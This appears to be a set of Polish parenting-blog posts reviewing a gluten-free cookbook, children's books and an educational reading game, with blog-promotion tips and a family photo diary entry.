Uwielbiam spędzać czas w kuchni szykując dania i wypieki dla najbliższych. Nic więc dziwnego, że moja biblioteczka książek kucharskich sukcesywnie się powiększa. Wręcz zwyczajem stało się to, że pod choinką co roku znajduję przynajmniej jedną wymarzoną pozycję. Mimo iż to raczej kobiety częściej "rządzą" w kuchni to na całym świecie najlepszymi szefami kuchni są faceci i dziś właśnie chciałabym pokazać Wam książkę jednego z nich, Szymona Kubickiego."Szymon Kubicki (ur. 1977) - wrocławianin; z wykształcenia prawnik, z zawodu redaktor muzyczny, z zamiłowania kucharz. Od trzech lat dzieli się swoimi przepisami z internautami, prowadząc serwis www.facetikuchnia.com.pl, w którym od kilkunastu miesięcy publikuje przepisy wyłącznie na potrawy be glutenu. Facet i kuchnia to szereg inspiracji na oryginalne, lekkie i zdrowe posiłki oraz kreatywne wykorzystanie ich w przygotowywaniu najróżniejszych sezonowych darów natury."Wydawnictwo LiterackiePiękne ilustracje wykonane przez żoną autora sprawiają, że od razu mamy ochotę ruszyć po zakupy i zacząć przyrządzać te wspaniałe potrawy. Wiele potraw "przemówiło" do mnie od razu, na przykład te, które pokazuję Wam na zdjęciach. Inne będą ciekawym doświadczeniem i okazją do spróbowania nowych wyjątkowych smaków. Bardzo podoba mi się podzielenie przepisów ze względu na produkty, które są w nich wykorzystywane oraz biorąc pod uwagę ich sezonowość. To w wielkim stopniu ułatwi wybór pomysłów na potrawy w ciągu danej pory roku. Nie od dziś przecież wiadomo, że najlepiej korzystać z warzy czy owoców właśnie wtedy kiedy jest sezon ich zbiorów, kiedy są nie przetworzone, najzdrowsze i najsmaczniejsze.Życzę Wam wielu wspaniałych doznań kulinarnych i oczywiście przyjemności z gotowania!Wydawnictwo: Wydawnictwo LiterackieAutor: Szymon KubickiFotografie potraw i produktów:Małgorzata Napiórkowska-KubickaRok wydania: 2015Stron: 332Format: 16,5 x 24 cmOprawa: twardaCena na okładce: 49,90 złCena w aros.pl: 32,93 złCo o książce pisze wydawnictwo?Jeśli jeszcze nie znacie FiKa i jego strony www.facetikuchnia.com.pl, czas najwyższy nadrobić zaległości! Długie ciemne włosy, gęsta broda i iście rockowy wygląd zdecydowanie wyróżniają go na tle gotujących, piekących i blogujących pań domu. To, że jest facetem, w żaden sposób nie przeszkadza mu z zaangażowaniem i pietyzmem podchodzić do tego, co kładzie na talerzu. A są to potrawy niebanalne, tym bardziej że FiK, czyli Szymon Kubicki, przeszło rok temu wykluczył ze swej diety gluten. Gotowanie bez glutenu otworzyło przed nim nowe niedostrzegane wcześniej możliwości, pobudziło kulinarną kreatywność, a co najważniejsze — pozwoliło poznać smaki i produkty, na które dotąd nie zwracał szczególnej uwagi. Książka zawiera 130 przepisów, w dużej mierze nigdzie wcześniej niepublikowanych — w sumie 20 rozdziałów, odpowiadających produktom albo grupom produktów, po które Szymon sięga najczęściej i które uważa za warte włączenia do codziennego menu. To kuchnia pełna wyjątkowych smaków i aromatów, hołdująca idei slow food, która zainspiruje nie tylko osoby na diecie bezglutenowej, ale też wegan, wegetarian i wszystkich tych, którzy chcą czerpać przyjemność z jedzenia. Poznajcie FiKa i jego kuchnię bez glutenu, odkryjcie w sobie pasję gotowania!Zastanawiałam się kiedyś nad kamiennymi blatami (http://www.granit-kostrza.pl/) w kuchni jednak cena mnie odstraszyła. A Wy jak podchodzicie do kamienia w kuchni?

Naśladuję pojazdy.

KIEDY MAMA NIE ŚPI

Naśladuję pojazdy.

Wszelkiego rodzaju pojazdy to, to co większość dzieci w wieku około dwóch lat wręcz uwielbia. Tyczy się to nie tylko chłopców ale i dziewczynek. Jest to również moment kiedy dzieci zaczynają coraz więcej mówić i naśladować różnego rodzaju dźwięki. Nic dziwnego, że właśnie takie książki jak ta sprawiają obecnie najwięcej radości Olusiowi.W książce Naśladuję pojazdy znajdziecie aż jedenaście ciekawych i zabawnych opowiadać  o pojazdach takich jak: samochód osobowy, pociąg, samolot, statek, traktor czy rower. W każdym tekście znajdują się wyrazy dźwiękonaśladowcze charakterystyczne dla danego środka  transportu, przy których wypowiadaniu Oluś śmieje się w głos. Myślę, że niejenemu dwulatkowi przypadną one do gustu.Bardzo mi się podoba taka, trochę rozwinięta, forma przedstawiania pojazdów. Jest to swojego rodzaju wprowadzenie do dłuższych opowiadań. My jesteśmy w stanie przeczytać całą taką książeczkę nie tracąc zainteresowania synka jednak z książkami z większą ilością tekstu idzie nam jeszcze dość ciężko. Dzieci które już mówią mogą powtarzać fragmenty tekstu i wydawać dźwięki pojazdów wspólnie z rodzicami. To naprawdę świetna zabawa!Rady dla rodziców od autora książki:Śmieszne wierszyki mogą być pretekstem do zabaw dźwiękowych i ruchowych.Dziecko uczy sie poprzez własną aktywność, ćwiczy cierpliwość i pamięć.Podczas czytania kształcimy procesy funkcjonowania uwagi, pamięci, percepcji, wyobraźni słuchowej i wzrokowej oraz koordnacji wzrokowo-słuchowo-ruchowej.Poza stroną merytoryczną tej pozycji urzekła mnie jej grafika. Jest dość prosta i realistyczna, w sam raz. Kolory nie są przesadzone, a ilustracje przeładowane różnorodnymi elementami grafiki. Książka jest przejrzysta, świetnie dostosowana do wieku czytelnika i wręcz wciągająca. Rzecz najważniejsza, można ją czytać bez końca! Świetna pozycja dla dwu i trzy latków. Polecam!Wydawnictwo: MuzaAutor: Urszula KozłowskaRok wydania: 2015Stron: 32Format: 21,5 x 21,5 cmOprawa: twardaSugerowany przedział wiekowy: od 2 latCena na okładce: 19,90 złCena w aros.pl: 13,13 złCo o książce pisze wydawnictwo?Zbiorek Naśladuję pojazdy został przygotowany z myślą o dzieciach, które przeszły już etap zainteresowania jedynie książką obrazkową i są gotowe wysłuchać krótkiego tekstu i go powtórzyć.Dziecko może brać udział w czytaniu i bawić się w naśladowanie głosów samochodów, maszyn i innych pojazdów. Teksty Uli Kozłowskiej wpadają w ucho i łatwo je zapamiętać.

Kotek, który merdał ogonem.

KIEDY MAMA NIE ŚPI

Kotek, który merdał ogonem.

Nie tak dawno wiele osób zachwycało się nowością na rynku wydawniczym, książką Ignatek szuka przyjaciela, której ilustratorem jest Paweł Pawlak. Dziś chciałabym pokazać Wam inną pozycję tego właśnie ilustratora - Kotek, który merdał ogonem.Nie od dziś wiadomo, że psy i koty to odwieczni wrogowie. Skąd się wzięło to przekonanie? Szczerze powiedziawszy nie wiem. Tak po prostu było od zawsze i przyjęliśmy to za rzecz oczywistą. Nic więc dziwnego, że kot Psot i pies Kleks wręcz się nie cierpią. Pies wiecznie gania kota a kot przed nim w nieskończoność ucieka. Psy, jako te rzekomo lepsze chodzą do szkoły, rzecz jasna szkoły tylko dla psów. Kot Psot jednak bardzo chciał zostać uczniem w tej szkole i znalazł sposób aby się tam dostać. Postanowił przebrać się za psa. Co wyniknie z obecności kota w szkole dla psów? Czy zostanie zdemaskowany? Jak zareagują na taką wiadomość psy? Przeczytajcie!Pierwsze co najbardziej rzuca się w oczy to szata graficzna tej książki. Swoiste kolaż z wycinanek jest dość niespotykany w książkach dla dzieci. Mam co do tej formy mieszane uczucia ale Oli nie odrzucił tej książki i dość chętnie ją ogląda. Z pewnością plusem takiego zabiegu graficznego jest nadanie ilustracjom trójwymiarowości. Twarda oprawa i grube śliskie strony to z pewnością dobra techniczna realizacja pozycji dla dzieci wieku od 3 do 6 lat.Moim zdaniem jest to sympatyczna historia z morałem, po którą warto sięgnąć, ale która tylko za pierwszym razem da efekt "wow". Nie oznacza to, że po jednym przeczytaniu zostanie rzucona w kąt, skądże. Brakuje jej jednak tego czegoś co sprawiałoby, że tak trudno byłoby się jej oprzeć.Wydawnictwo: MuchomorIlustrator: Paweł PawlakRok wydania: 2015Stron: 32Format: 21,5 x 29 cmOprawa: twardaSugerowany przedział wiekowy: od 3 do 6 latCena na okładce: 28,00 złCena w aros.pl: 18,48 złCo o książce pisze wydawnictwo?Psot i Kleks mieszkają obok siebie. Przyjaźnią się? Ależ skąd! Czy kot i pies mogą się lubić? Kleks chodzi do szkoły. Psot też by chciał, ale szkoła jest tylko dla psów… Co robić?Pytacie mnie nie raz gdzie trzymamy książki. Obecnie nie mamy z tym problemu. Znajdują się na trzech półkach w naszym pokoju. Z czasem jednak, w przyszłym domu, nie obraziłabym się za biblioteczkę z prawdziwego zdarzenia, podobną do tej:http://www.indecotrojmiasto.pl/

Jak promować bloga? - 7 sprawdzonych sposobów.

KIEDY MAMA NIE ŚPI

Jak promować bloga? - 7 sprawdzonych sposobów.

Każdy z nas zakładał bloga z indywidualnych powodów. Czasem była to samotność czasem nuda, albo jeszcze inny powód. Co bloger to inna historia. Jeden element łączy jednak nas wszystkich - chcemy żeby ktoś nas czytał. Gdyby było inaczej to pisalibyśmy w pamiętniku, który leżałby na dnie szuflady i nikt poza nami nie miałby do niego dostępu. Jak więc trafić do potencjalnego czytelnika? Poznaj moje 7 sprawdzonych sposobów na darmową reklamę bloga w sieci.1. Pisz o tym co czujesz w sercu.Może i wspaniałe historie świetnie się sprzedają jednak jeśli mijają się z prawdą to prędzej czy później wszystko wyjdzie na jaw. Albo ktoś wytknie Wam "błędy w zeznaniach" albo po prostu sami się pogubicie w tym co piszecie i wyjdzie z tego niezły cyrk. Halo wokół całej afery tylko chwilowo podniesie Wam statystyki bloga, by po chwili zakończyć jego i Wasze istnienie w blogosferze.Szukamy w internecie i na blogach porad, inspiracji lub po prostu dobrych tekstów do przemyśleń i relaksu. Kłamstwo nie idzie z tym w parze. Poza tym o wiele lżej pisze się o tym co się po prostu czuje i na tematy, które są nam bliskie. Nic na siłę. Po prostu bądźcie sobą.2. Przemyśl dobrze tytuł wpisu i linkuj do starszych wpisów.Nie tylko treść wpisu jest ważna ale i jego tytuł. To on w dużej mierze ma wpływ na pozycjonowanie naszego wpisu w wyszukiwarkach. Dobrze sprawdzają się pytania, określenia liczbowe lub popularne skróty jak "DIY". Dużo mniej "chwytliwy" niż obecny tytuł byłby np.tytuł Moje sposoby na bloga.Warto o tym pamiętać i chwilę zastanowić się nad nim. Nie tylko o wyszukiwarki tu chodzi, czytelnik trafia do wpisu na blogu głównie po tytule lub po zdjęciu, treść to kwestia drugorzędna, do której trafi dopiero kiedy już wejdzie na Waszą stronę.Aby starsze wpisy nie zniknęły w otchłani internetu warto o nich wspominać pisząc świeży wpis, jeśli oczywiście są one ze sobą w jakiś sposób powiązane. Ciekawym i dość popularnym swojego czasu rozwiązaniem były podsumowania miesiąca, gdzie bloger miał okazję przedstawić wszystkie wpisy z ostatniego miesiąca. Wymaga to odrobiny wysiłku aby umiejętnie i co najważniejsze w ciekawy dla czytelnika sposób połączyć różne tematy przez nas poruszane. Warto jednak tego spróbować. Nie zaglądamy przecież codziennie na dany blog i nie raz może nas ominąć coś ciekawego jako czytelnika a tego typu ściągawka pozwoliłaby nam na "nadrobienie zaległości", a nuż może trafilibyśmy na coś co by nas zainteresowało.3. Odwiedzaj innych i komentuj.Miło jest kiedy ktoś komentuje wpisy, prawda? Większość komentarzy pod wpisami na blogach zostawiają inni blogerzy, drugą grupę stanowią firmy reklamujące swoje usługi i produkty, a na samym końcu plasują się "zwykli" czytelnicy, na których najbardziej zależy każdemu blogerowi. Ten "zwykły" czytelnik prędzej napisze do Was prywatną wiadomość na fan page bloga lub na Wasz blogowy e-mail. Uwierzcie znam to z autopsji. Także odwiedzajcie inne blogi, komentujcie wpisy, inspirujcie się nimi i po prostu czerpcie przyjemność z ich czytania. Warto pamiętać, że komentarz powinien być rzeczowy a nie stanowić "prostacką" reklamę waszego bloga w stylu: Cześć! Fajny blog! Zajrzyj do mnie na www...Blogerzy nie tylko ze sobą walczą i rywalizują ale i niejednokrotnie nawiązują się między nimi znajomości, a nawet przyjaźnie, na lata. Sama poznałam w sieci wiele wspaniałych osób. Ze sporą ilością z nich udało mi się nawet spotkać na żywo. Jednak pamiętajcie o jednej ważnej rzeczy: co raz wejdzie do sieci już nigdy z niej nie wyjdzie, więc traktujcie innych tak jak sami byście chcieli być traktowani.4. Używaj etykiet i opisuj zdjęcia.Nie tylko treść wpisu i jego tytuł wpływają na popularność i poczytność bloga, równie ważna jest grafika, czyli zdjęcia i ilustracje, które zamieszczane są we wpisach. Warto je podpisywać nie tylko we wpisie ale również w opisie zdjęcia (w Bloggerze przycisk "Dodaj podpis"). Wpływa to na pozycjonowanie naszych zdjęć podczas wyszukiwania określonych fraz w zakładce Grafika w wyszukiwarce. Tak, przez ilustracje na blogi trafia spora liczba czytelników. Dlatego warto poświęcić chwilę i opisać krótko i zwięźle każdy obraz we wpisie.Zapewne większość z Was korzysta z przypisywania do wpisu etykiet, dzięki którym treści zawarte na blogu są porządkowane i można na przykład tworzyć na stronie głównej odnośniki do danej kategorii wpisów. Oprócz korzystania z tego narzędzia dobrze jest uzupełniać pole Opis na potrzeby wyszukiwania. Jego nazwa mówi wszystko. Ta wartość również wpływa na pozycjonowanie bloga i ułatwia potencjalnemu czytelnikowi dotarcie do Was.5. Pokaż swoje wpisy na Google+.Google+ to wielka platforma. W moim odczuciu plasuje się ona zaraz z Facebookiem w kategorii platform internetowych, na których promuje się blogi. Jeśli masz już konto Google to założenie profilu na Google+ jest wręcz banalne. Uzupełniasz informacje, wstawiasz zdjęcia profilowe i już jesteś aktywnym użytkownikiem. Poza tworzeniem siatki kontaktów oraz obserwowaniem udostępnianych na platformie wpisów warto zainteresować się zakładką Społeczności. Są to swoiste grupy, fora tematyczne, w których możecie promować swoje wpisy, poszukiwać inspiracji czy też po prostu wchodzić w interakcje z innymi użytkownikami. Liczba odsłon bloga z przekierowań z tej witryny jest dość duża i niejednokrotnie dorównuje liczbie wejść z fan page bloga z Facebooka.Bloggera można skonfigurować w ten sposób aby automatycznie z publikacją nowego posta pojawiał się on na profilu Google+. Dodatkowo klikając w przycisk Udostępnij można sprawić aby wpis trafił do wszystkich osób, które posiadamy wśród obserwowanych (Twoje kręgi), a nawet do tzw. Kręgów rozszerzonych, czyli osób, których konta obserwują Wasi znajomi. Niebagatelny zasięg, prawda? Dodatkowym, jednym kliknięciem możemy wysłać każdej osobie z tego grona powiadomienie o wpisie poprzez e-mail.6. Załóż fan page bloga na Facebooku.W obecnym momencie to już raczej blogowy standard. Zdecydowana większość blogów, które odwiedzam posiada swoją stronę na Facebooku. Założenie jej nie jest bardzo skomplikowane, jednak wymaga poświęcenia na to sporej ilości czasu i uwagi. W każdej chwili możemy dowolnie konfigurować ustawienia konta i zmieniać jego szatę graficzną. Jest to w tej chwili najlepsza platforma do bezpośredniego kontaktu z czytelnikami. Przynajmniej raz dziennie większość z Was zapewne zagląda na Facebooka. Podobnie robią również "zwykli" czytelnicy. Oprócz wpisów reklamujących nowe teksty na blogu warto zamieszczać również różnorodne wartościowe treści i ciekawostki, którymi przyciągniemy większą ilość odwiedzających. Aby ograniczyć czas poświęcany na tego typu promowanie bloga warto korzystać z narzędzi do planowania wpisów na fanpage bloga i na przykład raz w miesiącu zaplanować wszystkie wpisy, które mamy zamiar opublikować.7. Pokaż się na portalach, forach i grupach dyskusyjnych.Jeśli zostało Wam jeszcze trochę wolnego czasu (co może być już mało prawdopodobne) i udzielacie się na różnego rodzaju grupach dyskusyjnych warto również w nich pokazać Waszego bloga. Szczególnie wtedy kiedy dany portal, forum czy grupa powiązana jest z nim tematycznie i możecie przypuszczać, że innych uczestników rozmowy zainteresują treści przez Was publikowane. Można również zamieścić link do bloga z krótkim opisem tematyki w tak zwanej stopce, która pojawia się przy każdym naszym wpisie. Warto jednak uważnie przeczytać regulamin danej grupy i upewnić się czy z taką formą reklamy nie są związane dodatkowe koszty, które będziecie musieli ponieść.Na koniec nie pozostaje mi nic innego jak życzyć Wam blogowania, które będzie sprawiało Wam przyjemność i dawało Wam dużo satysfakcji oraz spełnienia. Powodzenia w promowaniu Waszych blogów!

Wyprawa Shackletona - Niezwykły komiks dla całej rodziny.

KIEDY MAMA NIE ŚPI

Wyprawa Shackletona - Niezwykły komiks dla całej rodziny.

Zachwycający, pięknie ilustrowany, z duszą. Trudno znaleźć odpowiednie słowa, które oddadzą w pełni charakter tej publikacji. To nie tylko komiks to prawdziwa podróż w czasie, podczas której będziemy mieli okazję dotrzeć do tajemniczej, pełnej niebezpieczeństw, przygód i, przede wszystkim, wytrwałości Antarktydy. Wraz z Ernestem Shackletonem cofniemy się do dnia 8 sierpnia 1914 roku.Projekt Przygody z książką to akcja mająca na celu szerzenie zamiłowania do książek. Długo zastanawiałam się nad tym jaką, wyjątkową, pozycję Wam dziś pokazać. Wyprawa Schackletona gości już u nas od dawna. Znamy każdy jej zakamarek i ciekawostkę z nią związaną. Zamysł graficzny autora tej pozycji jest niezwykle niespotykany. Całokształt przedstawienia historii ekspedycji to istny majstersztyk! Niewątpliwie jest to perełka nie tyle w Olusiowej biblioteczce, co w naszych rodzinnych, wspólnych zbiorach. Zobaczcie sami to książkowe cudo!"Ernest Shackleton przyszedł na świat 1874 roku jako drugi z dziesięciorga rodzeństwa. Od najmłodszych lat narzekał na nauczycieli. Nie przeszkadzało mu to jednak interesować się książkami, a zwłaszcza poezją. Nie mogąc znaleźć sobie miejsca, młody Ernest opuścił szkołę w wieku lat 16 i wyruszył na morze. Wspinał się po szczeblach kariery, by wreszcie oświadczyć przyjaciołom: Chciałbym zrobić coś naprawdę wielkiego. Coś, co wsławi moje imię."Wyprawa ShackletonaWprowadzenieW obecnych czasach wyprawy arktyczne to nie lada wyzwanie. Nie trudno więc wyobrazić sobie jak niezwykle trudne było zorganizowanie takiej wyprawy ponad sto lat temu. Zebranie niezbędnych funduszy i odpowiedniej załogi pochłonęło wiele czasu. Shackleton spośród pięciu tysięcy ochotników wybrał dwadzieścia sześć osób, których umiejętności praktyczne sprawdził dogłębnie, włącznie z ich możliwościami wokalnymi.Oprócz ludzi w wyprawie wzięło udział aż 69 psów. Każdy z nich otrzymał nowe, wyjątkowe imię od załogi. Marynarze fantazję mieli niebagatelną i nadali psom takie imiona jak: Święty, Skrzat, Kangur, Frytka czy Całus. Nie ma to jak poczucie humoru i garść optymizmu. To właśnie wyróżniało załogę Shackletona spośród wielu innych. Byli to ludzie uśmiechnięci, pełni pasji, szczęśliwi, że wyruszają w nieznane, a jednocześnie świadomi niebezpieczeństw, które czekają na nich w podróży.Czy wyprawa skończyła się szczęśliwie? Czy cała załoga wróciła do domu? Czy osiągnięty został zamierzony cel? Nie chcę zdradzać Wam zakończenia tej historii z różnych względów. Z pewnością jest to niezwykłe wspomnienie pasji, siły i wytrwałości. Ja jestem tą publikacją zauroczona i taki sposób przedstawienia dość nieprawdopodobnej historii bardzo do mnie przemawia. Dodatkowo dość ekskluzywny techniczny sposób wydania tej książki sprawia, że czuję się wyjątkowo trzymając ją w dłoniach. Wielki format, twarda oprawa z materiałowym grzbietem i wysokiej jakości papier, z którego wykonane zostały strony sprawiają, że odczucia estetyczne podczas tej lektury są na naprawdę wysokim poziomie.Przesłodziłam? A może Wam równie bardzo spodobała się ta książka co i mi? ;)Wydawnictwo: Krótkie GatkiTekst i ilustracje: William GrillRok wydania: 2015Stron: 80Format: 25 x 34 cmOprawa: twardaSugerowany przedział wiekowy: 6 lat +Cena na okładce: 59,90 złCena w aros.pl: 39,53 złCo o książce pisze wydawnictwo?To oparta na faktach imponująca opowieść o tym, w jaki sposób Shackleton i jego załoga przetrwali w lodowatym sercu Antarktydy. To przepięknie zilustrowane przez Williama Grilla świadectwo ich ogromnej odwagi i wytrwałości.Wyprawa Shackletona została określona w 2014 roku przez The New York Times jako najlepsza ilustrowana powieść dla dzieci i młodzieży.Niesamowite wręcz jest to, że po stu latach odnaleziono zachowane w lodowcu fotografie z tej ekspedycji. Tak, tyle lat przetrwały negatywy zdjęć wykonanych przed fotograf wchodzącego w skład załogi.Niejednokrotnie już jako nastolatka marzyłam o podróżowaniu po świecie, choćby o wyruszeniu na przykład na obozy językowe w anglii czy też w jakimkolwiek innym państwie. Niestety marzenia te pozostały niespełnione. Myślę jednak, że wszystko przede mną i niejeden wspaniały zakątek świata będę mogła jeszcze zobaczyć.

Już czytam, czyli nauka czytania poprzez zabawę w układanie elementów.

KIEDY MAMA NIE ŚPI

Już czytam, czyli nauka czytania poprzez zabawę w układanie elementów.

Puzzle i układanki to jedne z ulubionych zabawek dzieci. Bawią, uczą koncentracji i logicznego myślenia. A gdyby tak połączyć tego rodzaju zabawę z poznawaniem liter i czytaniem? Mówisz i masz. Na ten świetny pomysł wpadło wydawnictwo Granna i stworzyło bardzo przyjemną i rozwijającą grę dla dzieci Już czytam.Zawartość pudełka:Wszystkie elementy gry znajdują się w twardym grubokartonowym pudełku. Część przestrzeni wewnątrz pudełka jest pusta ale to już chyba standardowy zabieg producentów wszelkiego rodzaju gier w myśl większe znaczy lepsze. W środku opakowania znajdziemy instrukcję, w której poza standardowym opisem rozrywki znajduje się dwanaście zabawnych wierszyków, reklamę gry Kółka i spółka (swoją drogą zapowiada się naprawdę ciekawie), arkusz z literkowymi naklejkami, które możemy dowolnie użyć np. do wyklejenia imienia dziecka, 12 dwustronnych obrazków (każdy złożony z 4 elementów) oraz kostkę do gry.Istota gry:Układaj obrazki i twórz słowa! Wygrywa ten, kto nie będzie posiadał przed sobą już żadnych kart, ponieważ wszystkie wykorzystał w grze.Możliwe warianty gry:Zwierzaki - wersja dla najmłodszych graczy, rozkładamy na stole wszystkie elementy i staramy się dopasować je do siebie w taki sposób aby ułożyć kompletne obrazki,Literowe puzzle - podobnie jak w poprzednim wariancie gra polega na ułożeniu obrazków, jednak ten wariant wymaga przynajmniej dwóch graczy; rzucamy kostką i wybieramy liczbę elementów zgodną z liczbą na kostce; z wybranych elementów tworzymy obrazki; wygrywa ten kto ułoży większą liczbę kompletnych obrazków,Sylabowe domino - w tym wariancie obrazki nie są istotne, ważne są litery, z których tworzymy dowolne słowa; każdy gracz otrzymuje 6 karotników; najmłodszy jako pierwszy wykłada dowolny kartonik na stół; każdy kolejny gracz dokłada kartonik do leżącego na stole kartonika w ten sposób aby utworzyć wyraz.Wrażenia:Jak dla mnie bomba! Zaletą tej gry jest jej spora uniwersalność w kwestii wieku graczy. Dla najmłodszych będzie ona "zwykłą" układanką obrazków ze zwierzętami, dla starszych nauką liter i wyrazów oraz grą polegającą na rywalizacji, zabawie i edukacji w jednym. To zdecydowanie nie jest zabawa na miesiąc lub dwa, a wręcz na lata. Grugość i solidność wykonania poszczególnych elementów układanek z pewnością pozwoli im na przetrwanie próby czasu i dziecięcych rączek. Zdecydowanie polecam, moim zdaniem już nawet dwu/trzy letnim dzieciom, które przejawiają zainteresowanie wszelkiego rodzaju układankami i puzzlami o większym stopniu trudności niż początkowe dwuelementowe uniwersalne zestawy.Wydawnictwo: GrannaIlustracje: Piotr SochaIlustracja smoka: Maciej SzymanowiczAutor wierszków: Wojciech WidłakRok wydania: 2015Liczba graczy: od 1 do 4 osóbCzas rozgrywki: około 20 min.Rozmiary opakowania: 27,3 x 18,9 x 5,3 cmWaga: 0,30 kgSugerowany przedział wiekowy: od 4 do 10 latCena na rebel.pl: 39,99 złCena w aros.pl: 27,59 złCo o grze pisze wydawnictwo?Od liter przez sylaby aż po wyrazy – zapraszamy na słowną przygodę ze Smokiem Obibokiem! Czy umiecie już czytać, moi drodzy? Jeszcze nie? To nie problem! W tym pudełku znajdziecie aż cztery różne gry. Dwie pierwsze to zabawy z puzzlami, które oswoją was z kształtem liter. Kolejna to sylabowe domino, dzięki któremu nauczycie się tworzyć najprostsze wyrazy. Ostatnia zaś to prawdziwa gra słowna dla tych, którzy poznali już elementarz i wiedzą, czy Ala ma kota! Czytanie wcale nie jest takie trudne – mam nadzieję, że bardzo je polubicie!

Kamyki i prezenty Astona.

KIEDY MAMA NIE ŚPI

Kamyki i prezenty Astona.

Dość surowe i chłodne ilustracje na okładkach są pewną podpowiedzią co do kraju, z którego pochodzi autorka książki. Taki właśnie dość trudny klimat panuje w Szwecji, ojczyźnie Lotty Geffenbald. Książki o piesku Astonie są dość niepozorne, jednak niosą ze sobą piękny przekaz, chwytają za serce, wzruszają tak do łez, prawdziwe.Kamyki AstonaChyba każdy z nas w dzieciństwie coś zbierał, kolekcjonował. Aston zbiera kamienie. Jednak nie dlatego, że mu się podobają albo ze względu na ich kształt. On zbiera je żeby nie były samotne. W domu przygotowuje dla każdego z nich ciepłe i miękkie łóżeczko, w którym nigdy nie będzie im już zimno czy morko. Z czasem kamienie wypełniają całą przestrzeń w domu. Rodzice wpadają na ciekawy pomysł. Czy Aston zgodzi się "oddać" kamienie? Czy przestanie już przynosić je do domu? A może znajdzie kolejne "coś" do uratowania od samotności?Książka ta nie przekonała mnie okładką. Zajrzeliśmy do niej po jakimś czasie. Oli do dziś nie raz bierze ją w swoje małe rączki i ogląda z zaciekawieniem pokazując paluszkami na elementy ilustracji i prosząc tym samym o opowiadanie mu co się na nich znajduje. Zdecydowanie jest to pozycja, która zyskuje kiedy zajrzymy do środka i ją przeczytamy. Pewnie gdybym zobaczyła w księgarni samą okładkę nie zwróciłaby zbytnio mojej uwagi. Piękna, warta uwagi historia na chłodne jesienne i zimowe wieczory. Polecam.Wydawnictwo: EneDueRabeAutor: Lotta GeffenbladRok wydania: 2010Stron: 25Format: 20,3 x 27,3 cmOprawa: twardaSugerowany przedział wiekowy: od 3 latCena na stronie wydawnictwa: 24,90 złCena w aros.pl: 16,43 złCo o książce pisze wydawnictwo?Jest paskudny wieczór. Z cienia wypełza jesień. Ścieżką idą duże kalosze. Pluska i chlapie, gdy Aston stawia kroki. Mama dźwiga ciężkie torby. Ser, szpinak i dorsz ze spożywczego. Nagle Aston się zatrzymuje. Widzi coś...Prezenty AstonaZbliżają się urodziny Astona. Zamiast wyczekiwać prezentów i przeszukiwać szafy i różne schowki w domu w ich poszukiwaniu, mały piesek przygotowuje prezenty dla najbliższych. Pakuje rzeczy codziennego użytku w ozdobne papiery i wstążki aby wręczyć je mamie lub tacie kiedy ich potrzebują. W dniu urodzin Aston otrzymuje wiele wspaniałych prezentów. Staje się coś niesamowitego, coś co prezentem nigdy miało nie być zostaje najlepszym spośród wszystkich niespodzianek jakie otrzymał szczeniaczek. Jesteście ciekawi co to takiego? Przeczytajcie!Liczę, że to nie ostatnie książki o przygodach Astona, które do nas trafiły, choć nie wiem czy pojawią się jeszcze kolejne części tej serii.  Dobrze wiecie, że bardzo lubię książki dla dzieci z drugim dnem. Dzięki temu nie tracą one zbyt szybko "ważności" i sięga po nie zarówno małe dziecko jak Oluś jak i starsze kilkulatki. Do tego obie pozycje są dość ekskluzywnie wydane. Twarda oprawa, gruby śliski papier zdecydowanie zwiększają komfort czytania i tworzą te książki odpornymi na upływ czasu.Wydawnictwo: EneDueRabeAutor: Lotta GeffenbladRok wydania: 2015Stron: 32Format: 19,5 x 26,5 cmOprawa: twardaSugerowany przedział wiekowy: od 3 latCena na stronie wydawnictwa: 24,90 złCena w aros.pl: 16,43 złCo o książce pisze wydawnictwo?Aston obchodzi pierwsze urodziny! Dostaje w prezencie rower, kask i bardzo długą paczkę. Tajemniczy prezent w błyszczącym papierze...Prezenty Astona to kolejna część przygód uwielbianej przez Czytelników małego pieska-Astona.

36,37,38/53 Magiczne spojrzenie.

KIEDY MAMA NIE ŚPI

36,37,38/53 Magiczne spojrzenie.

Rok powoli dobiega końca, podobnie jak nasz tegoroczny projekt 53. Złapałam jednak spore, bo aż dwumiesięczne opóźnienie, więc zdjęć będzie tym razem więcej. Z tygodnia na tydzień Oluś się zmienia. Niby tylko trochę, nieznacznie. Jednak kiedy zaglądam do zdjęć sprzed miesiąca to różnica jest już mocno zauważalna. Zawsze oglądając zdjęcia myślę sobie, że przecież dopiero co się urodził, a teraz jest już taki duży i samodzielny. To właśnie zdjęcia pozwalają mi zatrzymać na zawsze te piękne i tak ulotne chwile z naszego wspólnego życia.Zdjęcia z 36 i 37 tygodnia zostały zrobione w naszym ulubionym miejscu. Niecałe pięć minut od domu jazdy samochodem i znajdujemy się na "Stoczku" nad naszym jeziorem Roś. To wyjątkowe miejsce, z którym związane są moje wspomnienia z dzieciństwa, z czasów kiedy byliśmy tylko we dwoje i te obecne. Cisza, spokój, jezioro i las na wyciągnięcie ręki. Czego chcieć więcej?37/53Jedną z atrakcji jest oczywiście pomost, co prawda rozpadający się, ale jednak. Numerem jeden podczas naszych wypadów na Stoczek jest jednak coś innego. Oli nie przegapi żadnej okazji na kąpiel w jeziorze, nawet w butach. Tak! Już nie raz na się to zdarzyło. Na szczęście samochód pod ręką i do domu niedaleko, więc choroby z tego nigdy nie było. 38/53Te dwa ostatnie zdjęcia zrobione zostały nad Śniardwami, na półwyspie Szeroki Ostrów. Piękne miejsce. Pokuszę się o stwierdzenie, że jedyne tak wyjątkowe na całym świecie. Niestety dojazd jest trudny, a że nie posiadamy terenowego auta, to i dostać się tam nie raz nie możemy choćbyśmy bardzo chcieli. Nawet w dość brzydką jesienną pogodę jest tam tak pięknie...Macie takie swoje magiczne miejsca, do których zawsze chętnie wracacie?

Jesienne zabawy z Jeżykiem.

KIEDY MAMA NIE ŚPI

Jesienne zabawy z Jeżykiem.

